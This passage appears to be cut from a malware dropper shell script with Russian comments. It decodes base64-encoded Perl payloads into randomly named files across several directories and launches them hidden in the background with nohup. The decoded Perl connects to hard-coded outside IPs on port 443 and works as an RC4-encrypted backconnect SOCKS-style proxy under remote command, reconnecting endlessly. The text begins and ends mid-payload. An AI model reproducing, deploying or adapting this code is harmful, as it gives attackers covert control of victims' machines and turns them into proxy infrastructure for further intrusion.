c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #52 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #52 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 53 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #53 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #53 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 54 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj 